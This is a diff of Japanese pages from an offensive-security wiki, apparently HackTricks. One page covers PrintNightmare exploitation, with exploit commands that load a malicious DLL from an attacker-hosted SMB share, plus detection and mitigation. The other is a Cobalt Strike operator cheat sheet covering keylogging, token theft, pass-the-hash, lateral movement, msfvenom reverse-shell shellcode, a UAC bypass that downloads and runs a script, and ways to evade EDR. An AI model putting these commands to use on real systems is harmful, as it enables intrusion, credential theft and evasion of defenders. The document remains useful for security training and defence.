||||
**2024年のPrintNightmareに関する素晴らしいブログ記事をチェックしてください: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
> PrintNightmareは、Windows **Print Spooler**サービスにおける脆弱性のファミリーに付けられた総称であり、**SYSTEMとしての任意のコード実行**を可能にし、スプーラーがRPC経由で到達可能な場合には、**ドメインコントローラーやファイルサーバー上でのリモートコード実行(RCE)**を可能にします。最も広く悪用されているCVEは、**CVE-2021-1675**(最初はLPEとして分類)と**CVE-2021-34527**(完全なRCE)です。その後の問題として、**CVE-2021-34481(「Point & Print」)**や**CVE-2022-21999(「SpoolFool」)**があり、攻撃面はまだ閉じられていないことが証明されています。
|
||||
|
||||
---
|
||||
|
||||
## 1. 脆弱なコンポーネントとCVE
|
||||
|
||||
| 年 | CVE | 短い名前 | プリミティブ | ノート |
|
||||
|------|-----|------------|-----------|-------|
|
||||
|2021|CVE-2021-1675|「PrintNightmare #1」|LPE|2021年6月のCUでパッチが適用されたが、CVE-2021-34527によってバイパスされた|
|
||||
|2021|CVE-2021-34527|「PrintNightmare」|RCE/LPE|AddPrinterDriverExは認証されたユーザーがリモート共有からドライバDLLをロードすることを許可|
|
||||
|2021|CVE-2021-34481|「Point & Print」|LPE|非管理者ユーザーによる署名されていないドライバのインストール|
|
||||
|2022|CVE-2022-21999|「SpoolFool」|LPE|任意のディレクトリ作成 → DLLの植え付け – 2021年のパッチ後も機能|
|
||||
|
||||
これらはすべて、**MS-RPRN / MS-PAR RPCメソッド**(`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`)または**Point & Print**内の信頼関係を悪用しています。
|
||||
|
||||
## 2. 悪用技術
|
||||
|
||||
### 2.1 リモートドメインコントローラーの侵害(CVE-2021-34527)
|
||||
|
||||
認証されたが**特権のない**ドメインユーザーは、次の方法でリモートスプーラー(通常はDC)上で**NT AUTHORITY\SYSTEM**として任意のDLLを実行できます:
|
||||
```powershell
|
||||
# 1. Host malicious driver DLL on a share the victim can reach
|
||||
impacket-smbserver share ./evil_driver/ -smb2support
|
||||
|
||||
# 2. Use a PoC to call RpcAddPrinterDriverEx
|
||||
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
|
||||
-f \
|
||||
'\\attacker_IP\share\evil.dll'
|
||||
```
|
||||
人気のあるPoCには、**CVE-2021-1675.py**(Python/Impacket)、**SharpPrintNightmare.exe**(C#)、およびBenjamin Delpyの`misc::printnightmare / lsa::addsid`モジュールが含まれています**mimikatz**。
|
||||
|
||||
### 2.2 ローカル特権昇格(サポートされているWindows、2021-2024)
|
||||
|
||||
同じAPIは**ローカル**で呼び出され、`C:\Windows\System32\spool\drivers\x64\3\`からドライバーをロードしてSYSTEM特権を取得できます:
|
||||
```powershell
|
||||
Import-Module .\Invoke-Nightmare.ps1
|
||||
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
|
||||
```
|
||||
### 2.3 SpoolFool (CVE-2022-21999) – 2021年の修正を回避する
|
||||
|
||||
Microsoftの2021年のパッチはリモートドライバーの読み込みをブロックしましたが、**ディレクトリの権限を強化しませんでした**。SpoolFoolは`SpoolDirectory`パラメータを悪用して、`C:\Windows\System32\spool\drivers\`の下に任意のディレクトリを作成し、ペイロードDLLをドロップし、スプーラーにそれを読み込ませます:
|
||||
```powershell
|
||||
# Binary version (local exploit)
|
||||
SpoolFool.exe -dll add_user.dll
|
||||
|
||||
# PowerShell wrapper
|
||||
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
|
||||
```
|
||||
> このエクスプロイトは、2022年2月の更新前の完全にパッチが適用されたWindows 7 → Windows 11およびServer 2012R2 → 2022で動作します。
|
||||
|
||||
---
|
||||
|
||||
## 3. 検出とハンティング
|
||||
|
||||
* **イベントログ** – *Microsoft-Windows-PrintService/Operational*および*Admin*チャネルを有効にし、**イベントID 808**「印刷スプーラーがプラグインモジュールの読み込みに失敗しました」または**RpcAddPrinterDriverEx**メッセージを監視します。
|
||||
* **Sysmon** – 親プロセスが**spoolsv.exe**のときに、`C:\Windows\System32\spool\drivers\*`内の`イベントID 7`(イメージが読み込まれました)または`11/23`(ファイルの書き込み/削除)。
|
||||
* **プロセス系譜** – **spoolsv.exe**が`cmd.exe`、`rundll32.exe`、PowerShell、または署名されていないバイナリを生成するたびにアラートを発します。
|
||||
|
||||
## 4. 緩和とハードニング
|
||||
|
||||
1. **パッチを適用!** – Print SpoolerサービスがインストールされているすべてのWindowsホストに最新の累積更新を適用します。
|
||||
2. **必要ない場所ではスプーラーを無効にする**、特にドメインコントローラーで:
|
||||
```powershell
|
||||
Stop-Service Spooler -Force
|
||||
Set-Service Spooler -StartupType Disabled
|
||||
```
|
||||
3. **リモート接続をブロック**しつつローカル印刷を許可する – グループポリシー:`コンピュータの構成 → 管理用テンプレート → プリンタ → Print Spoolerがクライアント接続を受け入れることを許可 = 無効`。
|
||||
4. **Point & Printを制限**し、管理者のみがドライバーを追加できるようにレジストリ値を設定します:
|
||||
```cmd
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
|
||||
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
|
||||
```
|
||||
詳細なガイダンスはMicrosoft KB5005652にあります。
|
||||
|
||||
---
|
||||
|
||||
## 5. 関連研究 / ツール
|
||||
|
||||
* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) モジュール
|
||||
* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
|
||||
* SpoolFoolエクスプロイトとその解説
|
||||
* SpoolFoolおよびその他のスプーラーのバグに対する0patchマイクロパッチ
|
||||
|
||||
---
|
||||
|
||||
**さらなる読み物(外部):** 2024年のウォークスルーブログ投稿をチェック – [PrintNightmare脆弱性の理解](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
|
||||
|
||||
## 参考文献
|
||||
|
||||
* Microsoft – *KB5005652: 新しいPoint & Printデフォルトドライバーインストール動作の管理*
|
||||
<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
|
||||
* Oliver Lyak – *SpoolFool: CVE-2022-21999*
|
||||
<https://github.com/ly4k/SpoolFool>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# Cobalt Strike
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### リスナー
|
||||
|
||||
### C2 リスナー
|
||||
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` で、リスニングする場所や使用するビークンの種類(http、dns、smb...)などを選択できます。
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` で、リスニングする場所、使用するビークンの種類(http、dns、smb...)などを選択できます。
|
||||
|
||||
### Peer2Peer リスナー
|
||||
|
||||
@ -25,8 +25,8 @@
|
||||
|
||||
* **`HTMLApplication`** HTAファイル用
|
||||
* **`MS Office Macro`** マクロ付きのオフィス文書用
|
||||
* **`Windows Executable`** .exe、.dll、またはサービス .exe 用
|
||||
* **`Windows Executable (S)`** **ステージレス** .exe、.dll、またはサービス .exe 用(ステージレスの方がステージ付きよりも良い、IoCsが少ない)
|
||||
* **`Windows Executable`** .exe、.dll、またはサービス.exe用
|
||||
* **`Windows Executable (S)`** **ステージレス** .exe、.dll、またはサービス.exe用(ステージレスの方がステージ付きよりも良い、IoCsが少ない)
|
||||
|
||||
#### ペイロードの生成とホスティング
|
||||
|
||||
@ -34,7 +34,7 @@
|
||||
|
||||
#### ペイロードのホスティング
|
||||
|
||||
ホスティングしたいファイルがすでにある場合は、`Attacks -> Web Drive-by -> Host File` に移動し、ホストするファイルとウェブサーバーの設定を選択します。
|
||||
ホスティングしたいファイルがすでにウェブサーバーにある場合は、`Attacks -> Web Drive-by -> Host File` に移動し、ホストするファイルとウェブサーバーの設定を選択します。
|
||||
|
||||
### ビークンオプション
|
||||
|
||||
@ -46,21 +46,21 @@ execute-assembly </path/to/executable.exe>
|
||||
printscreen # PrintScrメソッドを使用して単一のスクリーンショットを撮る
|
||||
screenshot # 単一のスクリーンショットを撮る
|
||||
screenwatch # デスクトップの定期的なスクリーンショットを撮る
|
||||
## 表示 -> スクリーンショットに移動して確認する
|
||||
## スクリーンショットを見るには、View -> Screenshotsに移動します
|
||||
|
||||
# キーロガー
|
||||
keylogger [pid] [x86|x64]
|
||||
## 表示 > キーストロークで押されたキーを確認する
|
||||
## View > Keystrokesで押されたキーを見る
|
||||
|
||||
# ポートスキャン
|
||||
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # 別のプロセス内でポートスキャンアクションを注入
|
||||
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # 別のプロセス内にポートスキャンアクションを注入
|
||||
portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||
|
||||
# Powershell
|
||||
## Powershellモジュールをインポート
|
||||
# PowerShell
|
||||
## PowerShellモジュールをインポート
|
||||
powershell-import C:\path\to\PowerView.ps1
|
||||
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
|
||||
powershell <ここにpowershellコマンドを書く> # これはサポートされている最高のpowershellバージョンを使用します(oppsecではない)
|
||||
powershell <ここにPowerShellコマンドを書くだけ> # これはサポートされている最高のPowerShellバージョンを使用します(opsecではありません)
|
||||
powerpick <cmdlet> <args> # これはspawntoで指定された犠牲プロセスを作成し、より良いopsecのためにUnmanagedPowerShellを注入します(ログなし)
|
||||
powerpick Invoke-PrivescAudit | fl
|
||||
psinject <pid> <arch> <commandlet> <arguments> # これは指定されたプロセスにUnmanagedPowerShellを注入してPowerShellコマンドレットを実行します。
|
||||
@ -68,9 +68,9 @@ psinject <pid> <arch> <commandlet> <arguments> # これは指定されたプロ
|
||||
# ユーザーの偽装
|
||||
## クレデンシャルを使用したトークン生成
|
||||
make_token [DOMAIN\user] [password] # ネットワーク内のユーザーを偽装するためのトークンを作成
|
||||
ls \\computer_name\c$ # 生成したトークンを使用してC$にアクセスを試みる
|
||||
ls \\computer_name\c$ # 生成したトークンを使用してコンピュータのC$にアクセスを試みる
|
||||
rev2self # make_tokenで生成されたトークンの使用を停止
|
||||
## make_tokenの使用はイベント4624を生成します: アカウントが正常にログオンしました。このイベントはWindowsドメインで非常に一般的ですが、ログオンタイプでフィルタリングすることで絞り込むことができます。上記のように、これはLOGON32_LOGON_NEW_CREDENTIALSを使用します(タイプ9)。
|
||||
## make_tokenの使用はイベント4624を生成します:アカウントが正常にログオンしました。このイベントはWindowsドメインで非常に一般的ですが、ログオンタイプでフィルタリングすることで絞り込むことができます。上記のように、これはLOGON32_LOGON_NEW_CREDENTIALSを使用します(タイプ9)。
|
||||
|
||||
# UACバイパス
|
||||
elevate svc-exe <listener>
|
||||
@ -81,25 +81,25 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
## make_tokenのようですが、プロセスからトークンを盗む
|
||||
steal_token [pid] # これはネットワークアクションに便利で、ローカルアクションには便利ではありません
|
||||
## APIドキュメントから、これは「呼び出し元が現在のトークンをクローンすることを許可する」ログオンタイプであることがわかります。これがビークン出力に「Impersonated <current_username>」と表示される理由です - 自分のクローンされたトークンを偽装しています。
|
||||
ls \\computer_name\c$ # 生成したトークンを使用してC$にアクセスを試みる
|
||||
ls \\computer_name\c$ # 生成したトークンを使用してコンピュータのC$にアクセスを試みる
|
||||
rev2self # steal_tokenからのトークンの使用を停止
|
||||
|
||||
## 新しいクレデンシャルでプロセスを起動
|
||||
spawnas [domain\username] [password] [listener] # 読み取りアクセスのあるディレクトリから実行する: cd C:\
|
||||
## make_tokenのように、これはWindowsイベント4624を生成します: アカウントが正常にログオンしましたが、ログオンタイプは2(LOGON32_LOGON_INTERACTIVE)です。呼び出しユーザー(TargetUserName)と偽装されたユーザー(TargetOutboundUserName)が詳細に記載されます。
|
||||
spawnas [domain\username] [password] [listener] # 読み取りアクセスのあるディレクトリから実行します:cd C:\
|
||||
## make_tokenのように、これはWindowsイベント4624を生成します:アカウントが正常にログオンしましたが、ログオンタイプは2(LOGON32_LOGON_INTERACTIVE)です。呼び出しユーザー(TargetUserName)と偽装されたユーザー(TargetOutboundUserName)が詳細に記載されます。
|
||||
|
||||
## プロセスに注入
|
||||
inject [pid] [x64|x86] [listener]
|
||||
## OpSecの観点から: 本当に必要でない限り、クロスプラットフォームの注入は行わないでください(例: x86 -> x64 または x64 -> x86)。
|
||||
## OpSecの観点から:本当に必要でない限り、クロスプラットフォームの注入は行わないでください(例:x86 -> x64またはx64 -> x86)。
|
||||
|
||||
## ハッシュを渡す
|
||||
## この修正プロセスはLSASSメモリのパッチを必要とし、高リスクのアクションであり、ローカル管理者権限が必要で、Protected Process Light (PPL)が有効な場合はあまり実行可能ではありません。
|
||||
## この修正プロセスはLSASSメモリのパッチを必要とし、高リスクのアクションであり、ローカル管理者権限が必要で、Protected Process Light(PPL)が有効な場合はあまり実行可能ではありません。
|
||||
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
|
||||
pth [DOMAIN\user] [NTLM hash]
|
||||
|
||||
## mimikatzを介してハッシュを渡す
|
||||
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
||||
## /runなしで、mimikatzはcmd.exeを生成します。デスクトップを持つユーザーとして実行している場合、シェルが表示されます(SYSTEMとして実行している場合は問題ありません)
|
||||
## /runなしで、mimikatzはcmd.exeを生成します。デスクトップを持つユーザーとして実行している場合、彼はシェルを見るでしょう(SYSTEMとして実行している場合は問題ありません)
|
||||
steal_token <pid> #mimikatzによって作成されたプロセスからトークンを盗む
|
||||
|
||||
## チケットを渡す
|
||||
@ -108,7 +108,7 @@ execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
|
||||
execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
|
||||
## 新しいチケットを使用するための新しいログオンセッションを作成します(侵害されたものを上書きしないため)
|
||||
make_token <domain>\<username> DummyPass
|
||||
## 攻撃者のマシンにチケットを書き込み、PowerShellセッションからロードします
|
||||
## PowerShellセッションから攻撃者のマシンにチケットを書き込み、ロードします
|
||||
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
|
||||
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
|
||||
|
||||
@ -121,7 +121,7 @@ steal_token <pid>
|
||||
## チケットを抽出 + チケットを渡す
|
||||
### チケットのリスト
|
||||
execute-assembly C:\path\Rubeus.exe triage
|
||||
### 興味深いチケットをluidでダンプ
|
||||
### luidによる興味深いチケットをダンプ
|
||||
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
|
||||
### 新しいログオンセッションを作成し、luidとprocessidを記録
|
||||
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
|
||||
@ -133,16 +133,16 @@ steal_token <pid>
|
||||
# 横移動
|
||||
## トークンが作成されている場合は使用されます
|
||||
jump [method] [target] [listener]
|
||||
## メソッド:
|
||||
## メソッド:
|
||||
## psexec x86 サービスを使用してサービスEXEアーティファクトを実行
|
||||
## psexec64 x64 サービスを使用してサービスEXEアーティファクトを実行
|
||||
## psexec_psh x86 サービスを使用してPowerShellワンライナーを実行
|
||||
## winrm x86 WinRM経由でPowerShellスクリプトを実行
|
||||
## winrm64 x64 WinRM経由でPowerShellスクリプトを実行
|
||||
## wmi_msbuild x64 msbuildインラインC#タスクを使用したwmi横移動(oppsec)
|
||||
## wmi_msbuild x64 msbuildインラインC#タスクを使用したwmi横移動(opsec)
|
||||
|
||||
remote-exec [method] [target] [command] # remote-execは出力を返しません
|
||||
## メソッド:
|
||||
## メソッド:
|
||||
## psexec サービスコントロールマネージャー経由でリモート実行
|
||||
## winrm WinRM(PowerShell)経由でリモート実行
|
||||
## wmi WMI経由でリモート実行
|
||||
@ -151,7 +151,7 @@ remote-exec [method] [target] [command] # remote-execは出力を返しません
|
||||
beacon> upload C:\Payloads\beacon-smb.exe
|
||||
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
|
||||
|
||||
# Metasploitにセッションを渡す - リスナー経由
|
||||
# Metasploitへのセッションの渡し - リスナーを介して
|
||||
## Metasploitホストで
|
||||
msf6 > use exploit/multi/handler
|
||||
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
|
||||
@ -159,11 +159,11 @@ msf6 exploit(multi/handler) > set LHOST eth0
|
||||
msf6 exploit(multi/handler) > set LPORT 8080
|
||||
msf6 exploit(multi/handler) > exploit -j
|
||||
|
||||
## Cobaltで: リスナー > 追加し、ペイロードをForeign HTTPに設定します。ホストを10.10.5.120、ポートを8080に設定し、保存をクリックします。
|
||||
## Cobaltで:Listeners > Add でペイロードをForeign HTTPに設定します。ホストを10.10.5.120、ポートを8080に設定し、保存をクリックします。
|
||||
beacon> spawn metasploit
|
||||
## 外国のリスナーでx86 Meterpreterセッションのみを生成できます。
|
||||
## 外部リスナーでx86 Meterpreterセッションのみを生成できます。
|
||||
|
||||
# Metasploitにセッションを渡す - シェルコード注入経由
|
||||
# Metasploitへのセッションの渡し - シェルコード注入を介して
|
||||
## Metasploitホストで
|
||||
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
|
||||
## msfvenomを実行し、multi/handlerリスナーを準備します。
|
||||
@ -173,10 +173,10 @@ ps
|
||||
shinject <pid> x64 C:\Payloads\msf.bin #x64プロセスにMetasploitシェルコードを注入
|
||||
|
||||
# MetasploitセッションをCobalt Strikeに渡す
|
||||
## ステージレスビークンシェルコードを生成し、Attacks > Packages > Windows Executable (S) に移動し、希望のリスナーを選択し、出力タイプとしてRawを選択し、x64ペイロードを使用します。
|
||||
## ステージレスビークンシェルコードを生成し、Attacks > Packages > Windows Executable (S)に移動し、希望のリスナーを選択し、出力タイプとしてRawを選択し、x64ペイロードを使用します。
|
||||
## Metasploitでpost/windows/manage/shellcode_injectを使用して生成されたCobalt Strikeシェルコードを注入します。
|
||||
|
||||
# ピボット
|
||||
# ピボッティング
|
||||
## チームサーバーでソックスプロキシを開く
|
||||
beacon> socks 1080
|
||||
|
||||
@ -191,10 +191,10 @@ beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||
|
||||
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
- Cobalt Strikeでは、BOF(Beacon Object Files)も使用できます: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
|
||||
- Cobalt Strikeでは、BOF(Beacon Object Files)も使用できます:[https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
|
||||
アグレッサースクリプト `https://github.com/outflanknl/HelpColor` は、Cobalt Strikeで `helpx` コマンドを作成し、コマンドに色を付けてBOF(緑)、Frok&Run(黄)、またはプロセス実行、注入、または類似のもの(赤)を示します。これにより、どのコマンドがよりステルスであるかを知るのに役立ちます。
|
||||
アグレッサースクリプト `https://github.com/outflanknl/HelpColor` は、Cobalt Strikeで `helpx` コマンドを作成し、コマンドに色を付けてBOFs(緑)、Frok&Run(黄色)などを示し、プロセス実行、注入、または類似のもの(赤)を示します。これにより、どのコマンドがよりステルスであるかを知るのに役立ちます。
|
||||
|
||||
### ユーザーとして行動する
|
||||
|
||||
@ -203,13 +203,13 @@ beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||
- セキュリティEID 4624 - 通常の操作時間を知るためにすべてのインタラクティブログオンを確認します。
|
||||
- システムEID 12,13 - シャットダウン/起動/スリープの頻度を確認します。
|
||||
- セキュリティEID 4624/4625 - 有効/無効なNTLM試行を確認します。
|
||||
- セキュリティEID 4648 - プレーンテキストのクレデンシャルがログオンに使用されたときにこのイベントが生成されます。プロセスが生成した場合、バイナリは構成ファイル内またはコード内にプレーンテキストのクレデンシャルを持っている可能性があります。
|
||||
- セキュリティEID 4648 - プレーンテキストのクレデンシャルがログオンに使用されたときにこのイベントが生成されます。プロセスが生成した場合、バイナリは構成ファイルまたはコード内にプレーンテキストのクレデンシャルを持っている可能性があります。
|
||||
|
||||
Cobalt Strikeから `jump` を使用する場合、新しいプロセスをより正当なものに見せるために `wmi_msbuild` メソッドを使用する方が良いです。
|
||||
|
||||
### コンピュータアカウントを使用する
|
||||
|
||||
防御者がユーザーから生成された奇妙な動作をチェックしていることが一般的であり、**サービスアカウントやコンピュータアカウント(`*$`など)を監視から除外する**ことがあります。これらのアカウントを使用して横移動や特権昇格を行うことができます。
|
||||
防御者がユーザーから生成された奇妙な動作をチェックし、**サービスアカウントやコンピュータアカウント(`*$`など)を監視から除外する**ことが一般的です。これらのアカウントを使用して横移動や特権昇格を行うことができます。
|
||||
|
||||
### ステージレスペイロードを使用する
|
||||
|
||||
@ -217,7 +217,7 @@ Cobalt Strikeから `jump` を使用する場合、新しいプロセスをよ
|
||||
|
||||
### トークンとトークンストア
|
||||
|
||||
トークンを盗むまたは生成する際には注意が必要です。EDRがすべてのスレッドのトークンを列挙し、**異なるユーザー**またはプロセス内のSYSTEMに属するトークンを見つける可能性があるためです。
|
||||
トークンを盗むまたは生成する際には注意が必要です。EDRがすべてのスレッドのトークンを列挙し、**異なるユーザー**またはプロセス内のSYSTEMに属するトークンを見つける可能性があります。
|
||||
|
||||
これにより、**ビークンごとにトークンを保存**できるため、同じトークンを何度も盗む必要がなくなります。これは横移動や盗まれたトークンを複数回使用する必要がある場合に便利です:
|
||||
|
||||
@ -232,7 +232,7 @@ Cobalt Strikeから `jump` を使用する場合、新しいプロセスをよ
|
||||
|
||||
### ガードレール
|
||||
|
||||
Cobalt Strikeには、**ガードレール**と呼ばれる機能があり、防御者によって検出される可能性のある特定のコマンドやアクションの使用を防ぐのに役立ちます。ガードレールは、`make_token`、`jump`、`remote-exec`など、横移動や特権昇格に一般的に使用される特定のコマンドをブロックするように構成できます。
|
||||
Cobalt Strikeには、**ガードレール**と呼ばれる機能があり、防御者によって検出される可能性のある特定のコマンドやアクションの使用を防ぐのに役立ちます。ガードレールは、`make_token`、`jump`、`remote-exec`など、横移動や特権昇格に一般的に使用される特定のコマンドをブロックするように設定できます。
|
||||
|
||||
さらに、リポジトリ [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) には、ペイロードを実行する前に考慮すべきいくつかのチェックやアイデアも含まれています。
|
||||
|
||||
@ -242,7 +242,7 @@ ADでは、チケットの暗号化に注意してください。デフォルト
|
||||
|
||||
### デフォルトを避ける
|
||||
|
||||
Cobalt Strikeを使用する際、デフォルトでSMBパイプは `msagent_####` および `"status_####` という名前になります。これらの名前を変更してください。Cobalt Strikeから既存のパイプの名前を確認するには、コマンド: `ls \\.\pipe\` を使用します。
|
||||
Cobalt Strikeを使用する際、デフォルトでSMBパイプは `msagent_####` および `"status_####` という名前になります。これらの名前を変更してください。Cobalt Strikeから既存のパイプの名前を確認するには、コマンド `ls \\.\pipe\` を使用します。
|
||||
|
||||
さらに、SSHセッションでは `\\.\pipe\postex_ssh_####` というパイプが作成されます。これを `set ssh_pipename "<new_name>";` で変更します。
|
||||
|
||||
@ -260,11 +260,11 @@ Cobalt Strikeプロファイルでは、次のようなことも変更できま
|
||||
|
||||
### メモリスキャンのバイパス
|
||||
|
||||
一部のERDは、既知のマルウェアシグネチャのためにメモリをスキャンします。Cobalt Strikeは、バックドアをメモリ内で暗号化できる `sleep_mask` 関数をBOFとして変更することを許可します。
|
||||
一部のEDRは、既知のマルウェアシグネチャのためにメモリをスキャンします。Cobalt Strikeは、バックドアをメモリ内で暗号化できる `sleep_mask` 関数をBOFとして変更することを許可します。
|
||||
|
||||
### 騒がしいプロセス注入
|
||||
|
||||
プロセスにコードを注入する際、通常は非常に騒がしいです。これは、**通常のプロセスがこのアクションを実行しないため、またこの方法が非常に限られているため**です。したがって、行動ベースの検出システムによって検出される可能性があります。さらに、EDRがネットワークをスキャンして**ディスクに存在しないコードを含むスレッド**を探している場合にも検出される可能性があります(ただし、JITを使用するブラウザなどのプロセスはこれを一般的に使用しています)。例: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
|
||||
プロセスにコードを注入する際、通常は非常に騒がしいです。これは、**通常のプロセスがこのアクションを実行しないため、そしてこの方法が非常に限られているため**です。したがって、行動ベースの検出システムによって検出される可能性があります。さらに、EDRがネットワークをスキャンして**ディスクにないコードを含むスレッド**を探している場合にも検出される可能性があります(ただし、JITを使用するブラウザなどのプロセスはこれを一般的に使用しています)。例:[https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
|
||||
|
||||
### Spawnas | PIDとPPIDの関係
|
||||
|
||||
@ -278,13 +278,13 @@ spawnto x86 svchost.exe
|
||||
```
|
||||
あなたはプロファイル内で **`spawnto_x86` と `spawnto_x64`** の設定を変更することもできます。
|
||||
|
||||
### 攻撃者のトラフィックをプロキシする
|
||||
### 攻撃者のトラフィックのプロキシ
|
||||
|
||||
攻撃者は時々、ツールをローカルで実行する必要があり、Linuxマシンでも、被害者のトラフィックをツールに到達させる必要があります(例:NTLMリレー)。
|
||||
|
||||
さらに、パス・ザ・ハッシュやパス・ザ・チケット攻撃を行う際、攻撃者が**自分のLSASSプロセスにこのハッシュやチケットを追加する**方が、被害者のマシンのLSASSプロセスを変更するよりもステルス性が高いことがあります。
|
||||
さらに、パス・ザ・ハッシュやパス・ザ・チケット攻撃を行う際、攻撃者が**自分のLSASSプロセスにこのハッシュやチケットを追加する方が**、被害者のマシンのLSASSプロセスを変更するよりもステルス性が高いことがあります。
|
||||
|
||||
しかし、**生成されるトラフィックに注意する必要があります**。バックドアプロセスから珍しいトラフィック(Kerberos?)を送信している可能性があるためです。これを回避するために、ブラウザプロセスにピボットすることができます(ただし、プロセスに自分を注入して捕まる可能性があるため、ステルスな方法を考慮してください)。
|
||||
しかし、**生成されたトラフィックには注意が必要です**。バックドアプロセスから珍しいトラフィック(Kerberos?)を送信している可能性があるためです。このため、ブラウザプロセスにピボットすることができます(ただし、プロセスに自分を注入して捕まる可能性があるため、ステルスな方法を考えてください)。
|
||||
```bash
|
||||
|
||||
### Avoiding AVs
|
||||
@ -347,17 +347,17 @@ neo4j.bat console
|
||||
http://localhost:7474/ --> パスワードを変更
|
||||
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
|
||||
|
||||
# PowerShellを変更
|
||||
# Change powershell
|
||||
C:\Tools\cobaltstrike\ResourceKit
|
||||
template.x64.ps1
|
||||
# $var_code を $polop に変更
|
||||
# $x --> $ar
|
||||
cobalt strike --> スクリプトマネージャー --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
|
||||
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
|
||||
|
||||
# アーティファクトキット
|
||||
#artifact kit
|
||||
cd C:\Tools\cobaltstrike\ArtifactKit
|
||||
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
```
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user